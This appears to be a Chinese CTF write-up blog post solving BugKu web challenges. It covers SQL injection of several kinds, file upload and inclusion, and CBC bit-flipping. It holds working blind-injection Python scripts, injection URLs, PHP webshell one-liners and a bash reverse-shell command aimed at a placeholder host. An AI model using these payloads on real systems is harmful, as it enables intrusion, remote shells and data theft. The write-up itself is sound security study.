1. 程式人生 > >BugKu Web WP2

BugKu Web WP2

Web 8

這道題的程式碼和前面的檔案包含寫的思路一樣, 我們都是運用  php://input 寫,來實現我們從檔案中讀出的資料和我們傳入的資料一樣。 我寫的如下:  只要保證  $ac  的值 和我們寫入檔案  $fn 的值 一樣即可, 我這裡都寫的是 123


細心

這道題剛開始看到主頁之後,又看了原始碼和抓了包,發現都沒有什麼特別的地方,所以,只有拿御劍掃描一下後臺。

結果掃到了 robots 協議的檔案 robotx.txt, 訪問這個檔案 得到一個網頁 resusl.php

然後看到這裡的程式碼,剛開始還想繞過,試了幾種 繞過 弱比較的方法,都沒成功,結果想到題目的提示,需要 admin。

就將 x 的值 設為 admin, 結果成功了。 運氣比較好。


求getshell

這道題,真的有一些搞不懂。 我猜想是對上傳檔名稱進行了過濾, 所以考慮用 %00 截斷繞過,但是一直沒有成功,也看了一下 content-type 的值,感覺沒有問題。

最終看了一下別人的wp, 才發現這個是對 content-type 的值進行大小寫繞過,同時使用 php 的一下別名對 檔名進行繞過。

說一下 這個是使用的 黑名單繞過,所以我們的php 別名可以順利繞過,如 php2, php5等。

成功得到flag:


INSERT INTO 注入

這道題個人覺得,真的出的挺好的,因為這道題,他有很多特別之處。

一是注入點是在 headers 中的 x-forwarded-for欄位;二是不同於一般的select注入,此處是 Insert into注入; 三是注入方法,這道題 只能使用 時間盲注,其餘的報錯注入等都會由於 explode(&ip) 這句程式碼給過濾掉。

關於 insert into 注入,其實本質上和 select差不多,如果想深入理解,可以看下面這篇博文:

https://blog.csdn.net/hwz2311245/article/details/53941523

然後,為什麼會選擇時間注入,是因為由於程式會將 逗號及其以後的語句都給過濾掉,而 時間注入 剛好整句話中都可以不帶逗號,所以不會給過濾掉, 時間注入的 基本格式如下:

select case when xxx then xxx else xxx end;

從本質上來講,時間注入就是通過爆破的方法,不斷去判斷我們當前猜測所輸入的字元 與 flag 中的某一位的 字元 比較,然後通過返回時間的不同,來判斷是不是相符。 如果相符,那麼可能就 通過 sleep()函式,來使返回時間延長,然後我們一旦看到 返回時間被延長了, 那麼我們就知道 這一位我們猜測正確了, 然後繼續猜測下一位。

通過這種方法,我們可以不斷 爆破出 資料庫名, 表名, 列名, 最後 得到 flag。

我們只需要 改變上述格式中的 when 之後的語句,也就使在這裡新增  查詢語句。下面我放上我查詢資料庫名的指令碼,當然我們首先也可以通過 length() 函式,去確定 資料庫名有多長, 以減少爆破的次數。

# -*- coding:utf-8 -*-
import requests
import sys

data = "127.0.0.1'+(select case when substr((database()) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
result = ''
for i in range(1, 10):
    print'Guessing:', str(i)
    for ch in range(32, 129):
        if ch == 128:
            sys.exit(0)
        sqli = data.format(i, chr(ch))
        # print(sqli)
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=3)
        except:
            result += chr(ch)
            print 'result: ',flag
            break

上圖結果,我們知道 資料庫名是 web15

我們只需要改變 when 之後的 查詢語句,下面我附上 我最終的 爆表, 爆列名, 爆flag的 語句:

表名:

"127.0.0.1'+(select case when substr((select table_name from information_schema.tables where table_schema=database()) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"

列名:

127.0.0.1'+(select case when substr((select column_name from information_schema.columns where table_name='flag') from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"

flag:

127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +

最終flag如下:


這是一個神奇的登陸框

這道題正常的sql注入, 唯一難的想到的是,這裡的閉合符號 是  雙引號,不是通常的單引號,在這裡花費了一點時間。

其他的,這道題都很友好,返回的錯誤資訊都很完整且很詳細。按照正常的sql 注入方法即可。

爆庫:

1" union select database(),2 #

爆表:

1" union select table_name,2 from information_schema.tables where table_schema='bugkusql1' #

1" union select column_name,2 from information_schema.columns where table_name='flag1' #

爆flag:

1" union select flag1 from flag1 #


多次

這道題,做的我是真的爽。非常爽。

我也學到一種新的判斷過濾的方法,異或方法。

id後面輸入 1’^(0)^’,此時頁面正常返回,如果換一下 ‘^(1)^’,此時則會返回錯誤,那麼接下來我們就可以試一下頁面究竟過濾了那些關鍵字。比如 1’^(length(‘select’)=6)^’ 
測試這個select應該是被過濾的了,實現的語句應該是  id=1'^0^0  有過濾返回正確,而無過濾的時候就會返回錯誤 
測試得到以下關鍵字被過濾

select,union,or,and

我們先嚐試用seselectlect這樣的形式過濾,怎麼測試呢,也是剛才的語句 1’^(length(‘seselectlect’)=6)^’這裡返回了錯誤,說明繞過成功了, 最終我們通過此測試,發現 union select or and   被過濾了。

下面的注入就是正常注入了。但是這道題還有點坑,在於我們還得使用聚合函式,因為這道題不像前幾道題,每個表裡存的資料只有一個,這道題的表裡儲存的資料有兩個,所以我們使用聚合函式,將他們一起顯示出來。

聚合函式的寫法,我就寫一個例子供大家學習參考:

-1%27%20ununionion%20seselectlect%201,group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=database()%20%23

查詢到表裡面有兩個表:

http://120.24.86.145:9004/1ndex.php?id=-1%27%20ununionion%20seselectlect%201,group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name=%27flag1%27%20%23

這裡我們發現有兩個欄位,我就是這裡被坑了一下,查詢這個flag1的欄位,得到一串字串,結果老是不對,好吧,最終再來看看address,發現竟然還有下一關,好吧,我們繼續開始下一關。

好吧,進入下一關,這一關我們再來看看他對什麼過濾了,只需要一個簡單的查詢函式,我們就會發現他對 union 進行了過濾。

好吧,我們不能使用 union 了,那我們還有什麼方法嘛?

這裡我們可以使用 updatexml() 報錯方法, 這個方法是將我們查詢的東西 以報錯的形式顯示出來,而且他可以使用 concat() 聚合函式,所以不需要 union 。 關於這種方法,大家可以仔細學習一下原理,這也是很重要的一種注入方法。

http://120.24.86.145:9004/Once_More.php?id=1%27and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)%23

這下面,我們發現又有兩個表,這裡, 你可以使用 limit 限制每次只顯示一個,但是這樣做太麻煩了,我們可以直接使用  group_concat()函式,將所有資料一起顯示出來。

http://120.24.86.145:9004/Once_More.php?id=1%27and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27web1002-2%27),0x7e),1)%23

然後,就是常規操作了,最後爆列名,我就不寫了,大家可以按照我上面的列子改一改就是了。

但是看到最終的列名,我的心又是一抖,什麼情況,怎麼又有一個 address, WTF, 這是還有一道題嗎?不管了,先查一查 flag,得到了 flag。 

但是,讓我們再來看看這個address裡面是什麼,好吧,果然還有一個地址:

我訪問這個地址,需要改一改自己的IP, 改了之後得到這個 二維碼,然後掃描得了幾句神神祕祕的話,目前還是沒搞懂,這是要我幹什麼,最終把這個二維碼放出來,有哪位同學知道這是要我幹什麼的,記得告訴我呀。這題真是非常爽!


PHP_encrypt_1

這道題是一道PHP 程式碼審計題,我們先來看一下程式的加密函式。

加密函式,十分明瞭,我們只需要按照這個加密函式 逆推 解密函式即可,下面是我寫的解密函式:

<?php
	$code='fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=';
	$k1 = base64_decode($code);
	$len = strlen($k1);

	$key = md5('ISCC');
	$x = 0;
	$klen = strlen($key);

	$char ='';
	$data= '';
	$temp='';

	for($i = 0; $i < $len; $i++){
		if($x == $klen){
			$x = 0;
		}
		$char .= $key[$x];
		$x += 1;
	}

	for($i = 0; $i < $len; $i++){
		$temp= ((ord($k1[$i]) - ord($char[$i])) % 128);
		if($temp < 41){
			$temp = 128+$temp;
		}
		$data .= chr($temp);
	}

	echo $data;
?>	

檔案包含2

這道題真的是我做的極少的使用菜刀能夠連線成功的題目了,能夠使用菜刀還是很爽的。

直接看題目的原始碼,會發現如下的 upload.php網頁,訪問它;

這個網頁是一個正常的檔案上傳網頁,但是隻能上傳圖片格式的檔案,那麼我們試一試能不能寫一句話程式碼,然後更改字尾名繞過這個過濾。

這裡寫一句話木馬,我又學到兩個新知識,主要是判斷程式是否對我們寫的一句話木馬過濾,還有以JS的形式寫一句話木馬。

首先我們構造一個正常的一句話木馬,同時,因為首頁我們發現有檔案包含,那麼我們就可以 通過列印來判斷我們的一句話木馬是否被 過濾。

然後我們去檢視我們剛才上傳的圖片:我們可以發現我們上傳的一句話木馬中:  <?php  ?>被過濾,被替換成了 _  。 那麼我們就得換一種方法了。

這裡我學到兩種新的寫法:

一種還是基於PHP,不過是變種:

上傳成功後,這次我們直接使用菜刀連線,看能否連線成功:

恭喜,我們連線成功啦,接下來,我們就可以隨意做我們想做的事情了,找一個flag,當然很容易啦。

第二種,我們來寫一些JS類似的一句話木馬:

<script language=php> echo 'shell';eval($_POST['shell']);</script>

恭喜,我們這次,已經執行了 echo 命令,那麼後面的 eval() 函式,當然也能執行成功了。我們使用菜刀再連線一下,也是成功的,大家可以自行測試呀。

但是,我還看到有另一種方法,這種方法,其實就是在圖片中寫一句命令,當本地包含後,執行這個命令。這種方法雖然有侷限性,畢竟一次只能執行一次,當然不會有菜刀那麼爽了。

我們執行的是顯示當前資料夾目錄列表的命令:

我們發現了有一個 含有 flag的 txt 檔案,我們隨後訪問就是了。


flag.php

這道題,有一點想暴打出題人。剛開始題目提示 有hint。然後開始瘋狂找hint 在哪裡。

結果 hint 是傳參進入的, 所以我們直接傳入 ?hint=1 即可,得到程式原始碼。

得到了原始碼之後,很簡單嘛,就是一個序列化操作,然後找找 $key 的值,嗯, 就在下面,好啦,應該行了吧。

結果不行, WTF???怎麼會不行呢? 我們還會哪裡出錯?

結果,找來找去,才知道 $key的值 我們找錯了。 程式碼下面的 $key 的值 和上面的程式碼 根本不是在一個 php 程式碼裡面。

好吧,我真的看得不夠仔細。 那麼 上面程式碼 key 的值根本沒有定義,所以為 NULL, 所以我們需要對 NULL 序列號操作。

 

然後這道題,我還發現了好玩的一點。

我用掃描器掃描時,發現了他的 phpmyadmin 網頁。

然後感覺這個網站的管理員好像做題的時候,碰到過他們的 暱稱呢?

嘗試了 暴力破解,但還沒有成功,可能資訊收集還不夠,大家誰有興趣,繼續下去呀。


孫XX的部落格

看到題目,真的很開心,以為可以做到接近實戰的題目了。

結果題目被人玩壞了,出了進入首頁,其他根本不能做什麼,很遺憾。

希望儘早修復吧


Trim 的日記

這道題,頁面很多,也有幾個很雞肋的漏洞。

註冊介面我發現一個 XSS漏洞,但是嘗試了很久發現並沒有任何用。

然後 通過掃描器,還發現一個 show.php, 訪問之後,這裡很搞笑,我先不說了。

反正這裡 我也發現一個 XSS漏洞,但是也沒有任何用。然後關於這道題, 搞不懂問什麼花這麼大力氣 寫這麼多網頁。


login2

拿到題目,嘗試了一下sql注入,感覺不像是正常的sql注入,而題目也提到了一下 union。

然後開始找找有沒有其他提示,最終在 響應頭裡發現了 一個 tips, 是 base64加密編碼,拿去解碼一下。

我們看這段查詢程式碼,主要是 通過 username去查詢使用者資訊,然後將資料庫裡儲存的 password的 md5值 與 我們輸入的 password的經過md5加密之後的值進行比較,看是否相等。

那麼我們就有了一種思路,先來看poc:

我們先將前面查詢 username的語句閉合,使他查詢不到任何東西。  然後我們在 後面再跟一個查詢語句, 第一個查詢的結果 1 這裡是 username, 而第二個  md5(1)  就是我們查詢出來的 password的md5值。 那麼接下來 我們只需要在 password處輸入 1,即可。

我們 查詢出來的 password 為 md5(1)  而 我們輸入的 password的 md5值也為 1, 所以此處我們就驗證成功,可以登入。

登入成功後,我們發現一個遠端命令執行。  那麼我們來試一下能不能直接 用 bash 反彈shell。

關於getshell 的方法,大家可以參考這篇博文:https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

所以我們 getshell的方法就是:  |bash -i >& /dev/tcp/你的公網IP/你的埠 0>&1

然後我在我的伺服器這邊開啟 nc, 開始 監聽埠, 我們可以看到我們可以正常的獲得shell,執行bash命令。


login3

這道題,真的看了一下別人得WP,才知道一個新的方法。

經過我的測試,發現這道題對  空格  and  逗號 等號   進行了過濾,也就是我們得注入語句不能有這幾個東西。

然後,我就開始不斷嘗試 繞過這幾個的方法,最終失敗了。這裡就說一下下面的一個方法 主要是 用 括號來代替空格。

然後,最重要的一點是 這道題是一個寬位元組注入。 那麼我們就可以 使用 %df  類似的 來繞過對引號的轉義。

最後,題目提示是一個 布林注入,所以我們可以依靠 比較,不斷將 password 給爆破出來。

既然是 布林注入,那麼總的要一個比較正確的回顯和 比較錯誤的回顯吧,我們來看看:

當我們輸入的username比較是正確的時候 2>1, 他就會去比較Password是否正確,然後返回passwrod errror!

當我們輸入的username比較是錯誤的時候 1>2, 他就會顯示 username錯誤

所以,我們就可以根據上面兩個錯誤回顯去判斷我們現在的比較是否正確。

好的,接下來我們只需要不斷爆破比較password即可:

附上我寫的爆破指令碼:

# -*- coding:utf-8 -*-
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf8')
url = 'http://118.89.219.210:49167/index.php'
s = requests.Session()
data =  "admin^'(ascii(mid((password)from({0})))>{1})#"
result =''
for i in range(1, 33):
	print "Guessing:"+str(i)
	for j in range(48,123):
		sql=data.format(i,j)
		pt={"usernmae":sql,"password":"123"}
		r = s.post(url,data =pt)
		if "password error!" in r.content:
			result += chr(j)
			print result
			break
print "password:".result

得到了password,登入即可得到flag:


檔案上傳2

這道題很有迷惑性,首先我們看到介面,我猜測是一個和以前的圖片上傳題目類似的檔案上傳漏洞。

於是,開始了不斷上傳一句話木馬,想要繞過這個,但是都失敗了。

於是,在別人的提醒下,仔細看了一下url,嘗試開始用php 偽協議讀取。

http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=flag

最終,我們可以將flag的內容以base64加密的形式顯示出來:

最終得到flag。


login4

新題型,CBC的漏洞只在密碼學的課上聽過,但是卻從來沒有實踐過,今天終於實踐了一下,花了不少時間,看了很多大神的講解,才終於能夠實際操作了。

首先拿到原始碼,通過掃描器發現一個路徑,下載下來,用 vim 開啟,檢視原始碼如下:

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}

function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}

function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}

function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo $flag;
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        echo '<body class="login-body">
                <div id="wrapper">
                    <div class="user-icon"></div>
                    <div class="pass-icon"></div>
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                        </div>
                        <div class="content">
                        <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                        <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <input type="submit" name="submit" value="Login" class="button" />
                        </div>
                    </form>
                </div>
            </body>';
    }
}
?>

簡單來說:就是我們要拿到flag,就必須使自己的username 為 admin。 但是,如果我們直接通過 Post 傳入 admin,會被拒絕,無法拿到flag。 那麼,我們唯一的方法就是在登入之後,更改自己的cookie,使自己的 cookie 為admin。 COOKIE,中回返回兩個重要的資料,一個是 IV, 一個是 cipher。 那麼看到這兩個資料,我們就應該很熟悉,這個 IV就是 CBC加密中的隨機值, cipher是加密之後的密文。 而程式是怎麼確定我們是誰的呢? 其實就是將 COOKIE中的 cipher 資料(已知) 用 隨機值IV(已知) 和 金鑰 key(未知)進行解密,解密出來的身份就是我們當前的使用者名稱。

那麼至此,我們就有了一個思路,我們可以更改我們cookie中 cipher值,使得我們cipher 解密出來的 username 是 admin。那麼如何更改密文呢?此處,我們就需要使用 CBC位元組翻轉攻擊。關於這個攻擊,詳細的大家可以檢視這篇博文:

http://drops.xmd5.com/static/drops/tips-7828.html

在這裡我就大致的講一下,自己密碼學學的不是太好,大家見諒:

上圖便是CBC的加密方法:我們可以看到這是一個流密碼加密形式,他先將明文分成相同大小的塊, 第一塊明文的加密,需要是使用隨機值IV和金鑰key,生成了第一塊密文。   隨後的每一塊明文加密,都需要前一塊的密文和金鑰key。

也就是說,我們的第一塊密文與IV值有關,之後的每一塊密文都與前一塊密文有關。而他們具體的加密方法如下:

我們可以看到他的加密演算法其實很簡單只是一個 異或方法。

我們再來看一下解密:

解密其實是和加密過程類似的過程。 我們可以看到解密第一塊密文,只需要IV值和key。  而解密隨後的所有密文,則需要前一塊的密文和ksy值。

解密方法如下:

那麼我們來仔細思考一下這個密碼。 如果我們需要更改一個密文,使得它解密之後的明文發生變化,那麼我 去更改他的前一塊密文的值,是不是就可以導致這個解密後的明文發生變化。 而很重要的一點經驗是: 你在密文中改變的位元組,只會影響到在下一明文當中,具有相同偏移量的位元組。如下圖:

接下啦,那麼我們具體如何修改呢:

我們根據這道題來仔細講解一下:

我們先登入使username為 admi1, password隨意,我輸入 skctf

隨後,我們得到了一個cookie,其中含有cipher也就是密文,還含有IV值。

這裡注意,程式會將我們提交之後的username和password 序列化儲存,也就是他們變成了:   

a:2:{s:8:"username";s:5:"admi1";s:8:"password";s:5:"skctf";}

而在進行CBC加密時,我們輸入的明文會被分成塊,也就是被分成如下的塊,按16位元組分:

a:2:{s:8:"userna 

me";s:5:"admi1"; 

s:8:"password";s 

:5:"skctf";}

此時,我們就是要修改第二塊的明文使 admi1 中的 1  變為 n。 

而我們此時是知道 密文cipher 和 IV值得。

假設我們現在有一個密文A  他的正確解密明文C是 1, 他的上一個密文是B

根據上述解密演算法有,A = Decrypt(Ciphertext)B = Ciphertext-N-1異或後最終得到C = 1。等價於:

C = A XOR B

那麼我們現在想使A 解密之後的明文變為 n,那麼我們就可以進行如下運算:

n = A XOR B XOR C XOR n

因為A XOR B XOR C等於0。所以我們就可以在我們想要更改的明文的那一位元組處採用如上的運算,那麼那個位元組處的明文就修改為了我們想要的值。我們現在要實現有一個新的上一個密文 B1 ,它與A 異或 為n ,也就是:

n = A XOR B1

那麼 A1 就等於:

B1 = B XOR C XOR n

那麼我們來看一下,如何將 admi1 修改為 admin

上面我說過一個經驗公式:你在密文中改變的位元組,只會影響到在下一明文當中,具有相同偏移量的位元組。

上圖中bs 是密文, 我們需要修個的 admi1中的  1 位於第二塊明文的第13位元組處,所以我們需要修改上一塊密文的第 13位元組:

ch = chr(ord(bs_de[13]) ^ ord('1') ^ ord('n'))

再將其與其他的密文拼接起來,那麼這樣我們的密文就修改成功了。

但是我們來提交以下我們的密文:

網頁顯示無法反序列化,是怎麼了呢?我們的密文還有哪裡不對?

其實是 因為我們修改了 第一塊的密文,導致第一塊的密文他的解密就不正確了,所以我們還得來修復一下第一塊的密文。

我上面講了,第一塊密文的解密,其實是於IV值有關,而這裡我們的IV值其實也是知道的。所以我們就可以採用和上面類似的方法,來修改IV值,使第一塊密文的解密正確。這次我們的程式碼如下:

因為我們第一次修改了第一塊密文的13位元組處,所以此次我們需要修改IV值的第13位元組。我們根據網頁返回我們的base64密碼解密得到此時的明文,然後用同樣的翻轉位元組方法,更改了IV值。

隨後,我們在將COOKIE中的IV值更改為我們計算出的IV值。記住,我們的IV值和cypher要在一次全部更改提交,因為每次post之後,程式返回給我們的IV值是隨機值,所以我們必須保證當此所得的IV就立即修改提交。

最後我們,來看一下我們的成果:

 

這道題真是出的好,我也做的好爽,當然感謝很多大佬的支援和幫助。

CTF真的是一門腦力藝術,成就感很高。